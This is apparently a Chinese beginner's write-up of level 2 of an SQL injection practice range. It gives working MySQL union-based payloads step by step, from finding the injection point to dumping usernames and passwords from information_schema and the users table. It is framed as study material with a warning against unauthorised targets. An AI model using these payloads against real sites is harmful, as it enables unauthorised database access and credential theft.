前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
一、回顾第一关知识点
上节文章讲到sql注入的最常规思路,(指mysql数据库且针对靶场的思路)先分别用and 1=1 和 and 1=2判断注入点类型,然后order by猜字段数爆显位找注入点位置,其次是联合查询(union select)爆数据库、表、列、数据。依次循序渐进。
二、靶场第二关思路
- 1、判断注入点
- 2、爆字段个数
- 3、爆显位位置
- 4、爆数据库名、版本、用户等等
- 5、爆数据库表名
- 6、爆数据库列名
- 7、爆数据库数据
1、判断注入点
(如图所示)这里我们老规矩抛出and 1=1 和 and 1=2测试,发现1=1页面正常,1=2报错了。这显然是数字型的sql注入。
2.爆字段个数
(如图所示)注入语句为id=1 order by 1
数字1逐次提升发现是4报错。说明字段数为3。
3、爆显位位置
(如图所示)注入语句为id=-1 union select 1,2,3
至于为什么这里id变成-1了,可以看第一关讲解,其实是为了让数据库查询不到信息而返回错误,来巧妙返回我们的注入语句。
4、爆数据库名、版本、用户等等
(如图所示)注入语句为id=-1 union select 1,user(),database()
这里查询版本就不演示了。
5、爆数据库表名
(如图所示)注入语句为id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
发现最可疑的表名是users
6、爆数据库列名
(如图所示)注入语句为id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"
得到最可疑列为password和username
7、爆数据库数据
(如图所示)注入语句为id=-1 union select 1,group_concat(username),group_concat(password) from users
得到数据
三、总结
这是基于get提交的数字型注入,与第一关唯一不同的就是一个是字符型,一个是数字型,其他的过程没什么区别。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!